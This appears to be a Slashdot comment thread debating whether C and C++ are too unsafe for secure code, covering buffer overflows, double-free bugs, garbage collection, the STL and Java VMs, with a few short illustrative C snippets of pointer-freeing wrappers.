This example is an obvious example of poor coding - foo() should not free the memory. However, it's a simple example to illustrate the more likely result of a much more complicated program, where the memory is freed but pointers remain. Once code becomes non-trivial, bugs like these can easily slip into C code.
So you're completely right. His code is extra overhead that accomplishes nothing above what a standard call to free() would do. It's an almost-exact alias. (Unless you intend to do a lot of free(NULL)ing, in which case the inlined if statement will reduce overhead.) And it doesn't actually prevent against doublefrees. So some thought would have been nice, on behalf of our AC friend.
You are in a maze of twisty little relative jumps, all alike.
Still, if you want to be a pissent little holier than though Slashdot poster, then go right ahead.
Obviously you may want to cast x to something other than unsigned long if it suits or is required.
I think it would help if there were a standard, minimal C string library
...a simple alternative to the STL that includes multithreading and networking. It defines dynamic strings...
Check out PTypes. To quote the PTypes home page:
I'm currently using it in a commercial project, and it's a nice package, well thought out, and quite stable.
I strongly disagree with the article. I can tell you for *sure* that neither my C nor my C++ code suffer from buffer overflows. How do I know? Because I don't use buffers.
Which C C++ calls do you use? If you don't use buffers (either allocated or auto variables), it can't be that many. I am very interested to see an example of this doing anything meaningful with a file and/or user input and/or text processing.
For a lot of my C code I don't even allocate my memory by hand (I'm a proponent of garbage collection, and yes, it can be done in C); for a lot of my C++ code, I don't even bother - STL handles most of my memory management needs, some strategically placed magic classes handle the rest.
Garbage collection has its own set of problems and it is not useful for real time work. I am willing to bet that you haven't read the STL or your magic classes and understood them.
After I read the STL, I consider it only good for trival programs. I found it very hard to understand, difficult to extend and difficult to debug.
Do you know what you code is doing?
Do you use your code as your users do?
Even our best programmers make security bugs when writing in C though (see: Quake I, II, III, Half-Life, Linux Kernel, sshd, ftpd, apache, perl, mozilla, and just about every other software package you think is written by great programmers), so how can we expect the rest of the world to do it?
qmail and djbdns have no security bugs and they are written in C. How do you explain that?
You're right, C or C++ code with explicit memory allocation still makes it too easy to code double-free bugs.
Not really. There is a simple way to avoid freeing something twice: set the pointer to NULL after it has been freed. Both free() and delete take no action if the pointer is NULL.
Worse that useless, because it looks like it's doing something usefull.
If x and y refer to the same memory,
either free(x) or free(y) will free the memory.
both will double-free the memory.
Even worse if the memory is reallocated between free(x) and free(y). The free(y) is legitimate, but it is the wrong block of memory.
STL-provided classes in C++ makes buffers and string format bugs almost obsolete. Why use a buffer when you can use a dynamically allocated string/vector/stringbuf or something similar? There are some portability issues, but any platform that gcc has been ported to will compile STL code fine. In most of the code I put out, there aren't any buffers, effectively eliminating any buffer overflow and string format vulnerabilities. The STL is the 'alternative library' that the article so much desires. If only programmers would USE it!
Wrong, try this:
void mfree(void **ptr) {
free(*ptr);
*ptr = NULL;
}
The behavior of free() on NULL pointers is specified by ISO C and POSIX.
No, free(x) doesn't assign NULL to x. There's a good reason for this: avoiding unnecessary work. Yes it's minimal work, and lots of systems will define a macro that will do the free and assign NULL too (ISTR MFC has something like that), but it counts over millions of iterations. C++'s delete operator also doesn't assign NULL, for the same reason. Usually the variable you just freed will go out of scope soon anyway, so why waste time writing to it?
If you've worked with assembler you'll see that the often-made jest of C being portable assembler is quite true - working in assembler long enough will have you wishing for exactly the features that C has (functions with local variables and named parameters, the various looping constructs, expressions). And it goes that far and no further, and doesn't hold your hand. For some people and some projects this is fine. For some it isn't, either because the people aren't skilled enough or the tradeoffs in using a higher level language outweigh any possible advantages.
Which language to use is a combination of project applicability, personal preference and the collective experience and skills of you and (if applicable) your team. Saying "C is bad" or "don't use C because people have made mistakes with it" is narrow-minded and stupid. Use what works for you. Unless it's PHP, in which case you need help, quick.
czth
Having spent a few minutes reviewing the comments to this article, it's obvious to me that there is quite a lot of truth to what this guy is saying.
There is dangerous tendency to believe that real coders, like fighter pilots, work as close as possible to the bare metal.
Many comments rebutting the arguments he makes about this are classic straw man arguments - they rebut an argument that is related to, but weaker than, the argument actually made by the author. The author provided an an example that working with higher level languages could reduce code errors. A number of comments attack this example, rather than the argument itself, which is that programmers who think that they must do everything themselves risk more errors. To provide an example: My company has a variety of well secured thin client applications. The other day, a new web application popped up. When I forgot my password, I managed found a way to circumvent its security in a matter of minutes. The developers of this app were simply too macho to draw on the code and solutions already existing within the same company. They rolled their own, and made mistakes.
My developer cohorts and I have a running joke about Wheel v2 (actually, we're probably on Wheel v 98.2). Developers love to reinvent the wheel. Good programming practice always needs to start with taking the specification and asking "Is there a product out there that solves this" Often, you find a set of libraries that solve 90% of your problem - costing much less than the development time it'd take to roll your own. Often you'll find that the developer next door has already built that. But it is just so much more fun to write your own than learn to use someone elses code! The authors point - not well rebutted by argueing about C versus V.M. based languages - speaks to the conceit of programmers who think that they can do it better than the third party library or their co-worker. A number of slashdot comments support his contention that programmers are conceited - "He's not a real programmer ..." etc.
Also worth noting: A large percentage of code written is not for embedded systems and palms. It's used within corporate intranets. At my company, is easy enough to make standards for libraries and languages and languages used - making an app dependant on a few other components is really not so evil. Arguing that your palm apps must be written in C does not address the authors point!
My motto: "A cat is no trade for integrity."
Er, 'the' pointer? If there were guaranteed to be only one pointer to a chunk of memory then life would indeed be easy. You could use C++'s auto_ptr to make sure of that. Double-free bugs often come about when there could be more than one pointer to the same bit of memory and you're not sure which one 'owns' it.
Of course in normal coding you would set a pointer to null after free()ing the memory it references, unless the pointer is part of a structure which itself is soon to be destroyed.
-- Ed Avis ed@membled.com
That is my point. Security breechs happen. Bad code happens. Cracks happen.
This is not a binary problem.
By adopting test-first development, unit testing, and pair programming, my bug counts dropped by orders of magnitude, to a level less than one reported bug per programmer-month. By your logic, since bugs still happen, these practices are "irrelevant".
The same goes for using better tools. It's pretty easy to get a buffer overflow in C. It's very, very hard to get one in Java, although I'm sure it's not impossible. Does this mean that Java is pointless? No. Reducing occurences of a whole class of bugs by 99.9% is a big gain, even if it's not complete elimination.
There are plenty of comments here and published papers on writing clean, secure, and efficient code.
Yes, and that's exactly the problem. No matter how smart, a programmer has a limited amount of brainpower available. For best results, you want as much of that brainpower spent on solving the actual problem at hand, not dealing with the tools.
I admit it: a computer is better at managing unimportant details than me. And 99.98% of the time, the details of which value is stored where in RAM is, as far as I'm concerned, one of those unimportant details. If I can get the computer to handle that for me, that's a big win. As Moore's law tells us, computers double in speed every 18 months, and programmers don't. Taking advantage of that means I can do more cool stuff before I die. Who wouldn't want that?
Grow up? Sounds like something coming from a high school kid. Sorry. C++ developer for over 10 years... I've grown up and have come to realize it's not the tool, but the person using the tool.
and this is why C++ was invented.
You can overload the array operator, you can use class systems.
Hell, you can use references and eschew pointers.
If someone has the discipline to use Java and or some other magic tool (oooh magic), then they should also have the discipline to use a class library to address these issues.
The real problem seems to be that people want to be led to the One True Solution, and C++ requires that you are an expert in solutions, that you can compare solutions --- that you are competant to choose the right solution for the job at hand.
-pyrrho
That may be true, but I think your argument is bogus. We're talking about programmers developing their own code, here. Any code you write, in any language, is potentially at risk from other code it links to that you did not write. It doesn't matter whether it's a C library, the .NET or Java run-time stuff, a flaw in your Python interpreter or a bug in your OS's memory management. The only way to avoid this is to sandbox everything you link to in some way, and the performance penalties associated with that are non-trivial.
What are the problems you see with it? C++ string handling certainly sucks at times, as anyone who's tried to write an internationalised application can tell you, but what mysterious bunches of semantics are you thinking of here?
If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
This is a bunch of hogwash. This guy sounds more like a MS rep than a security-focus programmer. Because RAM and CPU is so cheap now and so powerful, it doesn't matter if we write crappy bloated code? That's such bullshit. Consider that writing crappy bloated slow code in fact reduces system stability, by adding to CPU and RAM strain. Just as a security breach can result in data-loss, so can a system or program crash.
And, if this author not know, not everyone is buying the latest 2GHz CPUs. For most people's needs, a 100MHz PC is still fine and dandy -- that is, unless fuckwits like him and the genius' at MS continue to make ever-more bloated and slow code.
And why is RAM-usage so important, even with typical PC's having 256MB of RAM? Well, apparently this guy is still stuck in the good old one-program-at-a-time days. People run many programs concurrently -- the more resources each one takes up, the less happy the user is, because that means everything is slower overall, and may even mean the system has to switch over to virtual memory.
And why is it that we always get complacent jackasses like this always assuming that speed, memory-usage, stability, and security are always inversely related to one-another? They aren't. For the most part, writing smaller faster code isn't necessarily going to make the program less secure, nor is writing more secure stable code going to make it perform worse. There a *few* specific cases where there are trade-offs: in those cases, it's up to the programmer to decide what's best based on his target audience. If he's targetting home-users, a little bit of security can be sacraficed for increased performance. If he's targetting business users, a little bit of performance can be sacraficed for security. Stability is always a priority.
Alas, I'm sick of hearing "this programming language (C) is faster than that one (Perl), and assembly is faster than them all". Programming languages aren't "fast". Assembly allows a programmer to produce very highly optimized, fast, code. However, poor assembly will run much worse than C compiled with GCC. Comparing C to other languages, C programs tend to be faster because C allows for more direct control and compilers have had more time to be optimized. I doubt other languages will ever catch up to C in that regard, but a crappily written C program will still be beaten by a well-written Perl programmer (personally, I suggest Objective-C, because it provides OO with only a few additions to C).
social sciences can never use experience to verify their statemen
Gee, I've heard this argument for so many years... why have I never seen a VM pull it off?
Recompiling code while it's running doesn't actually strike me as the way to build the fasted code.
But I could be convinced. But not by paper.
The biggest area where Java still loses is startup time and memory consumption. It's not the fault of the VM if the applications programmed in the language suck. I mean, yeah, most Java apps are dog slow. But when you look at their source code, it's often a horrible mess with people doing non-buffered IO, creating millions of temporary objects every second that cause major garbage collection overheads, etc. It has given the VM a much worse reputation than is warranted.
which just goes to show you: the idea that the VM would free you from worrying about the machine is a fantasy, in reality, you just have a new machine to worry about, the VM, and further, if you design your optimization to take into account how the VM works, then some other VM won't work that way. You end up having to know the internals of your abstraction, defeating the whole point.
Unless, <evil pinkie\>, the point was to slow down machines to drive new hardware sales!
-pyrrho
I think the most dangerous over confidence at the moment is the Java, scripting, and VM backers.
They seem to think their language is doing things for them, so they don't have to worry.
At least over confident C/C++ programmers KNOW THEY HAVE TO BE CAREFUL, they just feel up to the task.
That's far less dangerous (even though some are mistaken in their abilities, I suppose) than a whole area of work where the engineers and the PHB think you don't need a skill to enjoy it.
-pyrrho
You don't feel that C/C++ handles where the memory is stored in RAM?
Pardon?!
Fact is, it does handle that.
The big conflict is that it allows you to dive into those issues if you need to. This freedom must not be allowed, I'm told. Over. And Over.
C++ is arbitrarily "high level", imnsho.
-pyrrho
> They seem to think their language is doing things for them, so they don't have to worry.
But if their language does in fact do things for them (like make buffer overflows unexploitable, make double frees or integer overflows impossible, etc.), then what's so bad about not worrying about those things? Not having to worry about irrelevant things gives you time to worry about things that do matter.
> At least over confident C/C++ programmers KNOW THEY HAVE TO BE CAREFUL, they just feel up to the task.
Though they know they have to be careful, they still repeat the same mistakes over and over. Right?
I don't really understand how you can claim that that's "far less dangerous" than not worrying about things that are taken care of for you.
> The big conflict is that it allows you to dive into those issues if you need to. This freedom must not be allowed, I'm told.
> Over. And Over.
Freedom is something good. But C++ does not give you just freedom. The problem with C++ is that it makes it too easy to accidentally, er, exercise this freedom, by doing things like overflowing a buffer (suddenly it matters where your memory is laid out), overflowing integers (suddenly it matters that your computer is 32-bit two's-complement), double-deleting a pointer (suddenly the details of the new/delete implementation matter). But, these kinds of issues *should not matter* to most applications. That's the problem with C++ -- not only does it tempt users to use the low level features because they are so accessible and familiar, but easy to make accidents expose low-level details that both lead to non-portable, buggy code, and worse, exploitable security holes.
> qmail and djbdns have no security bugs and they are written in C. How do you explain that?
Well, it's true that they have no known buffer overflow-style bugs--brute force can occasionally work. But this is still not a glowing review for C. Where do I get my C web server, browser, ssh server/client, etc. that have no exploitable holes in them?
W-R-O-N-G, electrum, and this is exactly the kind of thinking that gets programmers in trouble. One of the biggest problems for writers of pointer-based programs (and indeed, compilers for pointer-based languages!) is aliases, which is when two pointers point to the same location. Setting one of those to zero will not help you with the other. Aliasing is not an easy problem to solve once you commit to a language with pointers; there are whole conferences on alias analysis.
In C++, the best way to avoid double-free problems is to pass references rather than pointers whereever possible. If you receive a reference as a parameter, it's totally obvious you're not expected to free it.
-Fzz
Even if you do assign null to the pointer, there may be other copies of that pointer around. (Copies of pointers are made, for instance, when you simply pass them to a function. The original poster's code has that very bug -- though it sets the pointer passed to mfree to 0, the code that called mfree doesn't have its pointer changed.) This is how double-frees happen, and it's NOT rare.
That may be true, but I think your argument is bogus. We're talking about programmers developing their own code, here. Any code you write, in any language, is potentially at risk from other code it links to that you did not write.
The point is you end up spending a non-trivial amount of your time and effort doing string type conversions. The idea that the STL is a "defacto standard" is just wrong. Maybe it will be one day.
What are the problems you see with it? C++ string handling certainly sucks at times, as anyone who's tried to write an internationalised application can tell you, but what mysterious bunches of semantics are you thinking of here?
I'll leave the answer to this question to the experts:
http://oss.software.ibm.com/icu/apiref/classUnic odeString.html#_details
"UnicodeString is a string class that stores Unicode characters directly and provides similar functionality as the Java String and StringBuffer classes."..."UnicodeString combines elements of both the Java String and StringBuffer classes. Many UnicodeString functions are named and work similar to Java String methods but modify the object (UnicodeString is "mutable")."
So there you go. Yet another "defacto standard" string class to convert to.
Good call and thanks for the rebuttle.
It is actually a SHORTENED version of the Jack Handy quote due to sig lengths, but Jack Handy nonetheless.
The whole quote is:
I can picture in my mind a world without war, a world without hate. And I can picture us attacking that world, because they'd never expect it.
Other sweet ones are:
"I remember that one fateful day when Coach took me aside. I knew what was coming. "You don't have to tell me," I said. "I'm off the team, aren't I?" "Well," said Coach, "you never were really ON the team. You made that uniform you're wearing out of rags and towels, and your helmet is a toy space helmet. You show up at practice and then either steal the ball and make us chase you to get it back, or you try to tackle people at inappropriate times." It was all true what he was saying. And yet, I thought something is brewing inside the head of this Coach. He sees something in me, some kind of raw talent that he can mold. But that's when I felt the handcuffs go on. "
"He was a cowboy, mister, and he loved the land. He loved it so much he made a woman out of dirt and married her. But when he kissed her, she disintegrated. Later, at the funeral, when the preacher said, "Dust to dust," some people laughed, and the cowboy shot them. At his hanging, he told the others, "I'll be waiting for you in heaven--with a gun." "
"To me, it's a good idea to always carry two sacks of something when you walk around. That way, if anybody says, "Hey, can you give me a hand?" You can say, "Sorry, got these sacks." "
"Tonight, when we were eating dinner, Marta said something that really knocked me for a loop. She said, "I love carrots." "Good," I said as I gritted my teeth real hard. "Then maybe you and carrots would like to go into the bedroom and have sex!" They didn't, but maybe they will sometime, and I can watch. "
"When the chairman introduced the guest speaker as a former illegal alien, I got up from my chair and yelled, "What's the matter, no jobs on Mars?" When no one laughed, I was real embarrassed. I don't think people should make you feel that way. "
[I can picture a world without war, without hate. I can picture us attacking that world, because they'd never expect it]
Mr. AC,
... which would then be called like ...
Still, if you want to be a pissent little holier than though Slashdot poster, then go right ahead.
extern __inline__ void mfree(void *x){
if(x!=NULL){
free(x);
(unsigned long)*x=NULL;
}
}
Are you still kidding?
(1) Your code is still functionally wrong. You free the pointer passed in, then write NULL into where that pointer points? Not to mention that you can't dereference a null pointer. I suppose what you mean is:
void mfree(void ** x) {
free(*x);
*x = 0;
}
char * s = malloc(100);
mfree(&s);
(2) Of course, this still doesn't solve the problem of double frees. Programmers don't typically just go around freeing the same memory twice in the same function -- they accidentally free two *aliases* to the same memory. Just so we're concrete, your code (by which I mean my 'corrected' version) doesn't prevent a double free here:
char * s = malloc(100);
char * y = s;
mfree(&s);
mfree(&y);
Preventing double frees *requires* a more sophisticated memory management scheme, like garbage collection.
>then what's so bad about not worrying about those things?
(1) what is the cost? Is the application consuming 10x the resources such as memory?
(2) does it really solve the problem? e.g. Java's memory management, you still have memory management problems and bugs which are for all intents and purposes memory leaks, but you give up the ability to address these problems (unless you use your own VM).
>
Though they know they have to be careful, they still repeat the same mistakes over and over. Right?
no. I don't think they do. I think we are learning from our mistakes.
And if they want to do something to make it easier, then they encapsulate their solution in a class. Instead of the solution being, "use the magic bullet", it's "stop shooting yourself in the foot" and C++ classes are there exactly for this purpose.
The advantage is such solutions can be optimal. In spite of claims to the contrary, I don't think a VM approach could ever be optimal.
Frankly if I really believed that these bugs were the most pernicious, took the most develper time, AND that VM's and scripting languages really were faster to develop in, of course I'd be all for it.
It's more like a Fountain of Youth, however, imnsho. I.e. and attractive promise, nothing more.
-pyrrho
When functions like strcpy are a part of the ANSI standard for a language and open the door wide for vulnerabilities then yes the fault is in the language.
Well, when using Java rather than finding that I've suddenly been saved the trouble of doing things I already know how to do, I find that I'm powerless.
I needed to tell the garbage collector to collect right now, not later when I'm making another query, but right now, because since the object was part of a connection, the garbage collector caused problems when I had already created a new connection. The new connection was already allocated, according to the Java source code it was a second, totally separate, object. But because of connection pooling, I found it was not really a new object, but what partially reused, and when the previous object was cleaned, it caused problems with the new object (loss of connection mid-query).
According to the Java source, this was a different object altogether.
But since in Java I "don't care" where the memory is really coming from, the JDBC implementation could play whatever game it wanted and give me reused components. Java saves me from having to say when to delete, and prevents me from getting to say when to delete. I lose power and gain nothing.
OH, I fixed it... by setting the appropriate references to null at the appropriate time. But a different VM might break my solution, it was not based on the Java syntax, but on the peculiarities of the VM I was using. In C++ I'm sure I would have been able to dig deeper for a work around that would continue to work (that has been my experience), but in Java I had to leave it on the precipice to break again with an updated VM or different JDBC driver.
This sort of thing sucks, and it's endemic to hand-holding and treating-like-a-baby. Never in my life, in code or without, have I ever seen a system that protected people for their own good that didn't royally screw those that could protect themselves. Ok, if we are talking about railings for the tourists hiking in Yosemite, I guess I don't mind. But when we are talking about a skilled proffession that is a life long endeavor of learning and solution building... I want tools to build with. I want a fricking nail gun, I'll be safe where I point it.
What really gets me is that C++ has the best of both worlds. Any of these issues can and have been solved in C++ and probably nicely wrapped in a stable class system.
If you use a class to manage your memory, you can have all the same protections, and automagical garbage collection, etc. etc.
In fact, garbage collecting memory management schemes have been available for C++ (and C) in various forms for a long long while.
The general reason they are not used more is that the machine really cannot efficiently do that job. You know more about your use of memory, and what the semantic relationships are, than the compiler or the VM.
If a garbage collection is invented that really lives up to the promise, it will be available in C++, all without building a whole language around something that hasn't really arrives and may never arrive.
I've worked with many Java based systems now and I'm not noticing the code is easier or less buggy, at all, not even with respect to the misuse of memory. Especially considering that I could leave 1K a second and still have days and days before my C++ applications reaches the memory consumption a similar Java processes STARTS out consuming.
btw: as for these buffer overflows, etc. You can write malloc and free such that they watch for this sort of thing. It just costs a few bytes per allocation and some processing power. Debug libraries often do this already. If you do that, it's still more efficient than the VM approach.
It all reminds me of when I thought Applesoft Basic was the bees knees, it was good enough for anything... it ruled, other languages were just not nec. But then again, I was 13, it only lasted a few months... I grew up.
Which brings me to another theorem about craftsmanship. Powerful tools can be dangerous. Safe tools tend to be impotent.
I believe scripting languages ar
-pyrrho
From the article:
"Why do we still see these bugs?
In no small part, it's because programmers aren't using appropriate tools. In an age where processing power is cheap, there's no excuse for a mail client written in C or C++."
I dont think this guy "Jon Lasser" guy is quite with it. C and C++ does exactly what it is told to, and it does it quickly. Its up to the programmer to make their code proper.
Perhaps the article should read "Too sloppy for secure code?" or "Too busy for secure code?"
I dont think his idea of using another language as a replacement for being lazy or informed is going to work too well.
If I understand buffer overflow vulnerabilities correctly, they could be almost completely prevented if the computer architecture prevented execution from data areas and required special instructions to modify memory in executable areas. I think other kinds of vulnerabilities could be prevented with similar architectural changes, or perhaps even just changes in an OS kernel. Obviously I haven't thought this completely through, but surely research in this direction would produce more truly secure computers than initiatives like palladium.
This space intentionally left blank.
It's not a question of "abilities" - you're making the exact "macho" mistake the article talked about. People make mistakes. There've been exploitable holes, which are only possible because of C, in software written by some of the smartest programmers around.
Do people in cars without airbags or safety belts drive more carefully because of it? Maybe some do, but does that result in lower deaths or injury rates for those people? No. Same basic issue.
Perhaps a better analogy would be to say that a really good high-wire artist doesn't need a net. But that's only true until the first time he makes a mistake. It's not a question of 'if', just 'when'. Scale that up to large numbers of C/C++ programmers, and you have today's software industry - where falling off the high wire and going splat into the unforgiving concrete of an 0wn3d box is par for the course.
Specifically, on the architectures that support it, OpenBSD enforces write or execute permissions on memory. It is still entirely possible to run self-modyfying and dynamic programs, but now every time you need to perform either write or execute you must speficially make a call to switch that memory's permissions. Needless to say, this is not the end-all security solution, and ultimately ends up breaking a lot of things.
I think this goes way beyond just program correctness as a means of security (what used to be OpenBSD's stated goal), and is on the whole a bad thing. A much more sensible approach is to run untrusted applications in their own VMs, and write as much software as possible in languages that can guarantee correctness (this pretty much only means languages that automagically manage memory - C programs using Boehm's conservative GC and safe string functions and such fit this bill).
In the great CONS chain of life, you can either be the CAR or be in the CDR.
(1) yes, I understand the kinds of safety that Java promises, do you understand that this is not the only or even main kind of bug one finds with systems?
(2) I am not being macho about it because I am agreeing that higher level abstractions need to be used to ensure there is a safety net... I'm just also pointing out that these higher level abstractions are available in C++ and do not require a VM level, at all. Further the VM imposed it's own limitations and problems, so it does not compare favorably to other high level solutions.
(3) It's not so much like seat belts... I would say that C++ is already a seat belt compared to the basic starting point of machine language. It's more like Air Bags, which have the great advantage of saving drunk drivers that drive head on into a tree, but also have a way of decapitating children during fender benders, or taking someone's legs off because they unwisely put their feet on the dash while waiting for their spouse to come out of a store.
See, I think that the people traveling over 60 MPH should take the risk, and being still in a parking lot ought to be risk free.
When I am working as a professional developer, I can prepare my safety standards, use the abstractions that avoid common mistakes.
I'm waiting for the argument that these problems cannot be addressed in C++ with class systems.
Instead mostly I hear about how there is not one solution forced on all C++ developers, as if that's a bad thing! If Java really has The One Full Solution To End All Solutions, of course it'd be great! But can such a thing exist? I'm not holding my breath while it gets implemented, and I certainly have yet to see such a thing.
-pyrrho
I'm just not convinced that recompiling under the tools Mr. Lasser mentioned are going to fix the problems with C/C++.
Look, the big issue for about 75% of all programmers in the world is that the whole institution of computer programming is based around the idea of "Think how the program can crash itself" and not "think what can someone can do to intentionally bust your program". Now we've got literally millions of programs with trillions of lines of code between them, and all of them have some part where the coder(s) had to implement something that *just worked* instead of something that was particularly well thought-out.
Look at the list of vulnerabilities in common software and you see problems with string formatting and buffer overflows in input in places where, frankly, the programmers never believed that someone would poke around.
I'd say that the only way to force people not to force the boundaries of allowable input is to only provide a fixed list of choices, drop-down text box style. Except that's just about useless for much, if not most, tasks we need our machines to handle.
I also believe that when we're learning to program, we get almost zero education on how to do bounds checking.
Have you ever asked a univeristy professor about bufer overflows? You usualy get a blank stare and some comment about how that would probably crash the program. Only a few really consider that there are real consequences to crashing a program.
The funny thing is, if you think about it, a program's natural state is crashed. Everything line of code basicly props the program up so it can continue on and do something else.
What are we going to do? Rewrite *everything*? This makes y2k look like pretty small potatoes.
Personally, I'd say that the big problem isn't programming languages that allow us access to low-level services but that the operating systems that we know and love and use all the time are written with the idea that programs are to be trusted at some level. It's possible to run a program with root priv. because that priv. level exists at all. Why not use systems that don't even have the concept of root?
We don't because a) they would (and are) amazingly tough to get any real work done on and b) they're slow or at least have the perception of being slow and c) none of the super-secure operating systems have been written as something you can game and write documents and all the other things we use computers for.
As far as being "macho", yeah, I've had long discussions with C programmers who are pretty "macho" about their ability to manage memory by hand. Those conversations usually end with me saying, "but most people use aplications" and the programmer saying "applications are for weenies." So I'm not suprised Mr. Lasser claims a high level of ego in programmers as a whole.
Natural bussiness evolution says that.
The bottom line of all this is that *if* you could pass the responsibility of being secure, expert and professional to the language (or the VM, or whatever) you could employee trained monkies to do the accounting programs instead of highly qualified professionals.
And, on the other hand, really tough problems are already there, just waiting for you to go there. Ten years of "fighting" C/C++ system code will make you the champion or "macho" needed to deal with them, while those problem just won't be affordable by a high level languages baby-sitted programers.
Please, note that this is *already* true: most critical systems are still based on work from the late seventies, when men were men and programmed their own drivers. What these men did twenty-more years ago can't be repeated nowadys by a programmer population higher by orders of magnitude, with incridebly more powerful machines and tools. Just tell me why!
This is total flamebait, and I'm sure the guy is enjoying it. For instance, how does he says "*nix guys want to be as close to the metal as possible" but if that were true then how does he explain the success of perl, python, etc?
This space for rent.
Peer review has been doing little good. It is a mission critical application used ubiquitously yet it has such a major flaw that you can steal the server's private key. Maybe you say, it's the age of the program. Look at sendmail, it's 20 years old and we're still getting critical exploit security bulletins for it. Not to mention EVERYONE uses sendmail, it's widely reviewed, and anciently deployed.
No, it is not peer review, widespread use, open source, full disclosure. It is engineering that gives security. Proper process, proper technique. We have eyes, but they are blind and dumb.
If I write in Java, it's no longer only my code that is involved. The JRE itself can be exploited, and I have no control over that at all.
[100% ISO 646 Compliant]
SVM, ERGO MONSTRO.
Perl is a bitch to transport if you use anything beyond the core libraries. It is unproductive to ignore the CPAN libraries. And it is impractical and constraining to target a specific server build.
There is help! An par. This archives most or all of the libraries into one executable. The perl development kit (by active state), also provides this.
I recently delivered a project which uses perhaps 25 custom libraries and 5 non-standard ones. Using perlapp, everyhing bundles into one neat executable. Impressive.
On most platforms, assembly is not in practice faster than higher-level languages. If, for example, you were to actually manage to write an office suite in assembly, in addition to being wholly unmaintainable, it'd likely run slower than the higher-level version. This is because once things get to a certain size, the compiler is simply better at optimizing than the human is. A human can't scan millions of lines of code per second for redundancies and optimizations, and isn't good at judging on the fly which optimizations are worth doing and which aren't. This grows increasingly true as you get into fairly complex architectures features, like filling branch delay slots on the SPARC or ordering instructions for the IA64's pipelining.
This is also increasingly true of using higher-level languages than C. C may allow simple things to go faster, but higher-level languages often allow complex programs to be faster on the whole because they provide guarantees that allow for optimizations a C compiler can't make (that C allows pointer arithmetic and arbitrarily-aliased pointers is a big problem for optimizers, for example). To take a trivial example, consider the following two ways of traversing an integer array:
1. for(int x = 0; x < length; x++) foo(array[x]);
2. for(int *x = array; x < array + length; x++) foo(x);
(1. uses indexing and 2. uses pointer arithmetic). Most C programmers would prefer the second, considering it "more efficient." The idea is that since you're walking through the array you keep adding sizeof(int) instead of starting at the beginning and adding an offset each time. This is especially true, it's claimed, if you access the value multiple times each iteration: instead of computing the offset to array[x] each time, you have a direct pointer to it that you just dereference. And this all used to be true. However, most (though not all) of the time, with modern C compilers 1. will actually be faster, because it allows the compiler to do some neat optimizations that it can't do with 2.
10 PRINT CHR$(205.5+RND(1)); : GOTO 10
If you mean that it is in theory possible to write faster programs in C than in higher-level languages, or that it is possible in theory to write faster programs in assembler than C, then you are correct. However, that's not really interesting, since in many cases it's not feasible (perhaps just on this side of impossible). A compiler can simply optimize large blocks of code better than you can, so for sufficiently large apps, the C version will almost always be faster than the assembler version, because it can find neat optimizations you didn't think of. Already many C compilers ignore the 'register' keyword, because they know they can do a better job allocating registers than you can. Similarly, garbage-collected languages are becoming competitive performance-wise with explicit memory management, because they can just keep track of huge numbers of allocations better than the programmer can, and exploit redundancies and opportunities for optimization across non-local areas of code.
10 PRINT CHR$(205.5+RND(1)); : GOTO 10
Huh, if extreme programming or any other programming method would have fixed that bug, I'll eat my shoe.
You seem to be taking this as language evangelism. I'm not promoting Java, I could care less. I've written more C and C++ code than I have Java. The issue of language safety vs. non-safety is not C vs. Java. It's "unsafe languages bad, safe languages better". You can't argue "unsafe languages OK", because both history and logic are against you.
If you're arguing that Java specifically is not the safe language you want to move to, that's fine with me. But don't confuse the shortcomings of Java with all safe languages. If you want to see safe languages that provide really high performance and very advanced features, take a look at ML, or OCaml, or Scheme.
...self-proclaimed security expert giving us his opinion. No suggestions to resolve the issue, no recommendations, nada. Probably someone who never has actually written large chunks of code, or been part of a large program's development team. And more or less, he has no real point. Hey IT guy, quit trying to developers how to do their job until you can do it better!
----- "It's all fun and games 'til somebody puts an eye out, then it's just funny."
Saying "C is bad" or "don't use C because people have made mistakes with it" is narrow-minded and stupid. Use what works for you. Unless it's PHP, in which case you need help, quick.
Uh oh! That sounds narrow minded and stupid!
Unless you were trying to be funny, of course, but it doesn't sound like it to me.
> (1) what is the cost? Is the application consuming 10x the resources such as memory?
Java running in a JIT is a memory hog, but that's not because it's a safe language, it's because it's a VM language. SML is not slow nor a memory hog. I hear natively-compiled Java is also pretty efficient, though I don't use it myself. The cost of safety alone is no more than the checks that C programmers already tell themselves they need to add to their code -- and often less because they are inserted and optimized by the compiler.
> (2) does it really solve the problem? e.g. Java's memory management, you still have memory management problems and bugs which
> are for all intents and purposes memory leaks, but you give up the ability to address these problems (unless you use your
> own VM).
It solves the security holes, yes. I've seldom personally been in a situation where the GC didn't do the right thing, but in those cases it was possible (easy, even) to code my own memory management. What do you have in mind?
Again, safety is not the same as running in a virtual machine! There are many languages which offer native compilation and safety. It's really too bad that Java is the one with the biggest corporation backing it (well, maybe C# is now), because it gives many people the impression that they need to pay all those costs in order to have its benefits that don't relate to binary portability. Slashdot folks, especially, should shop around a bit more than that!
> If a garbage collection is invented that really lives up to the promise, it will be available in C++, all without building a
....
> whole language around something that hasn't really arrives and may never arrive.
I doubt that it will end up in C++. How can you do copying garbage collection in C++? You can't, because you can't tell what's a pointer and what's an integer that just happens to be in pointer range. In fact, you can't even do *correct* garbage collection because of C++'s pointer arithmetic -- you can have a pointer that is some offset from an object you care about, and then have that object collected out from under you.
Garbage collection in C++ has to be conservative and non-copying, which means that if C++ programmers want to use GC, they're going to be stuck with essentially the least GC sophisticated technology around. (And they will *still* have to be "on their toes" to make sure they don't do legal things in the language that happen to confound the GC.)
> btw: as for these buffer overflows, etc. You can write malloc and free such that they watch for this sort of thing. It just
> costs a few bytes per allocation and some processing power.
I'd really appreciate an explanation of this, because:
- Buffer overflows of stack-allocated arrays (common and most easily exploited) don't pass through malloc.
- The only way I know to protect out-of-bounds read/writes for malloc'd data is to use virtual memory hardware to protect pages around the memory. This is a huge waste of space (at least 2 pages *per allocation* = ~8kb), requires that you never re-allocate any memory (talk about a memory leak!), can only be exact on one side of the allocation unless it happens to be the size of a page, and isn't even correct since way-out-of-bounds writes can end up in another valid page. This is totally impractical except for debugging.
> I believe scripting languages are harder to debug than C++
I'm not advocating that security-critical code be written in scripting languages, because those have their own class of easy-to-make security holes. I'm arguing for compiled (not VM), safe languages.
And now the evil overly concise equivalents!
C / C++:Perl:Ruby:Parrot Assembly:Odds of being killed by lightning and winning the lottery in the same day: 1 in 2^55
This is somewhat off-topic, but since the discussion has drifted this way...
